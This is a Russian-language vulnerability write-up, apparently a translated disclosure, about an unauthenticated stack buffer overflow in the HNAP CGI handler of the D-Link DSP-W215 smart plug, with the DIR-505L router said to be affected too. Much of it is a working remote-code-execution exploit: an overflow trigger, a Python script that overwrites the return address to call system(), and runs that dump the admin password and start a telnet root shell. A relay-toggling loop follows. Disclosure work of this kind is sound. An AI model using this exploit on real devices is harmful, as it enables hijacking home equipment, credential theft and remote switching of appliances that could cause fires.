D-Link DSP-W215 Smart Plug — беспроводное устройство для мониторинга и контроля за электрическими розетками. Его пока нельзя купить в магазинах Amazon или Best Buy, но прошивка уже доступна для скачивания на сайте D-Link.
TL;DR: DSP-W215 содержит ошибку переполнения буфера, которая позволяет неаутентифицированному пользователю полностью управлять устройством, в том числе и самой розеткой.
Прошивка устройства совершенно стандартная для встраиваемых систем на Linux:
После распаковки прошивки я обнаружил, что у этого устройства нет привычного веб-интерфейса — его можно настроить только через специальное приложение для iOS и Android. И, похоже, это приложение использует протокол Home Network Administration Protocol для коммуникации со Smart Plug.
Т.к. HNAP основан на протоколе SOAP, его обработкой занимается сервер lighttpd, а по отрывку его конфигурационного файла легко понять, что обработкой HNAP-запросов занимается CGI-приложение /www/my_cgi.cgi:
...
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
"/HNAP1" => "/www/my_cgi.cgi",
...
Хоть HNAP и требует аутентификацию, некоторые действия, а именно GetDeviceSettings, ее не требуют.
GetDeviceSettings может только отдавать список возможных действий и ничего не может делать сам по себе, но это значит, что my_cgi.cgi парсит запрос до проверки аутентификации.
Обрабатыванием HNAP-запросов занимается функция do_hnap в my_cgi.cgi. Т.к. HNAP-действия посылаются как HTTP POST-запросы, функция do_hnap первым делом обрабатывает заголовок Content-Length:
А потом, как ни в чем не бывало, читает тело запроса в буфер фиксированного размера на стеке:
int content_length, i;
char *content_length_str;
char post_data_buf[500000];
content_length = 0;
content_length_str = getenv("CONTENT_LENGTH");
if(content_length_str)
{
content_length = strtol(content_length_str, 10);
}
memset(post_data_buf, 0, 500000);
for(i=0; i<content_length; i++)
{
post_data_buf[i] = fgetc();
}
Становится очевидно, если посмотреть на memset, что буфер рассчитан только на 500000 байтов. POST-запрос, в котором содержится более 500000 байтов, переполнит буфер, но т.к. на стеке есть еще и другие переменные, требуется 1000020 байтов, чтобы перезаписать адрес возврата:
# Overflow $ra with 0x41414141
perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
А вот самое веселое то, что обработчик запроса читает тело POST-запроса в буфер в цикле с использованием fgetc, поэтому не существует «плохих» байтов — мы можем передавать ему любые байты, даже NULL-байт. Это здорово, т.к. по адресу 0x00405CAC в my_cgi.cgi имеется код, который загружает $a0 (регистр первого аргумента функции) с указателем на стек ($sp+0×28) и вызывает system():
Так что нам просто нужно перезаписать адрес возврата на 0x00405CAC и положить команду, которую нам нужно выполнить, на стек по смещению 0×28:
import sys
import urllib2
command = sys.argv[1]
buf = "D" * 1000020 # Fill up the stack buffer
buf += "x00x40x5CxAC" # Overwrite the return address on the stack
buf += "E" * 0x28 # Stack filler
buf += command # Command to execute
buf += "x00" # NULL terminate the command string
req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()
Даже лучше, чем можно было бы ожидать — stdout запускаемой команды возвращается в ответ:
eve@eve:~$ ./exploit.py 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 bin
drwxrwxr-x 3 1000 1000 4096 May 9 16:04 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 Jan 14 14:16 lib
drwxr-xr-x 3 1000 1000 4096 Jan 14 14:16 libexec
lrwxrwxrwx 1 1000 1000 11 May 9 16:01 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 7 1000 1000 4096 May 9 15:44 mnt
drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 9 17:49 root
drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 sbin
drwxrwxr-x 3 1000 1000 4096 May 15 04:27 tmp
drwxrwxr-x 7 1000 1000 4096 Jan 14 14:16 usr
drwxrwxr-x 3 1000 1000 4096 May 9 16:04 var
-rw-r--r-- 1 1000 1000 17 Jan 14 14:16 version
drwxrwxr-x 8 1000 1000 4096 May 9 16:52 www
Можно сдампить конфигурацию и пароль администратора:
eve@eve:~$ ./exploit.py 'nvram show' | grep admin
admin_user_pwd=200416
admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level
admin_level=1
admin_user_name=admin
storage_user_00=0/admin//
Или запустить telnetd и получить полноценный shell.
eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
eve@eve:~$ telnet 192.168.0.60
Trying 192.168.0.60...
Connected to 192.168.0.60.
Escape character is '^]'.
BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ #
После копания в my_cgi.cgi чуть глубже, я обнаружил, что все, что требуется для выключения или включения розетки — выполнить /var/sbin/relay:
/var/sbin/relay 1 # Turns outlet on
/var/sbin/relay 0 # Turns outlet off
Можно написать небольшой скрипт, чтобы поморгать светом:
#!/bin/sh
OOK=1
while [ 1 ]
do
/var/bin/relay $OOK
if [ $OOK -eq 1 ]
then
OOK=0
else
OOK=1
fi
done
Управление розеткой может нести и более серьезные последствия, как заявлено в рекламе D-Link:
Обманчивая реклама от D-Link
Хоть сам Smart Plug, может быть, сможет определить перегрев, я подозреваю, что он определяет перегрев только себя самого, т.к. не существует способа определить температуру устройства, подключенного к розетке. Поэтому, если вы оставили обогреватель подключенным к smart plug, и какой-то подлый человек тайком включит его, у вас будет хреновый день.
Непонятно, пытается ли Smart Plug сделать себя доступным извне (например, пробросив порт через UPnP), или нет, т.к. приложение для Android просто-напросто не работает. У меня не получилось установить даже первоначальное подключение к Smart Plug через Android, хотя через лаптоп получилось. Однако, в конце-концов, у меня вылезла очень подробная ошибка при создании аккаунта для удаленного доступа в MyDlink: «Невозможно создать аккаунт». Хоть в конце настройки и говорилось, что Smart Plug настроен на подключение к моей беспроводной сети, ни к какой сети он не подключился, и точка доступа, которая использовалась для первоначальной конфигурации, пропала. Т.к. Wi-Fi сломан, а ethernet отсутствует, я полностью потерял связь с устройством. Ах да, кнопки hard reset на устройстве тоже нет. Ну и ладно, все равно я ее выкидывать собирался.
Я подозреваю, что все, кто купил это устройство, не смогли заставить его работать, что, наверное, хорошо само по себе. В любом случае, я бы побоялся подключать такое устройство к своей сети или своим бытовым приборам.
Между прочим, роутер D-Link DIR-505L тоже подвержен этому багу, т.к. имеет практически точную копию my_cgi.cgi.
PoC для обоих устройств находится здесь.
Автор: ValdikSS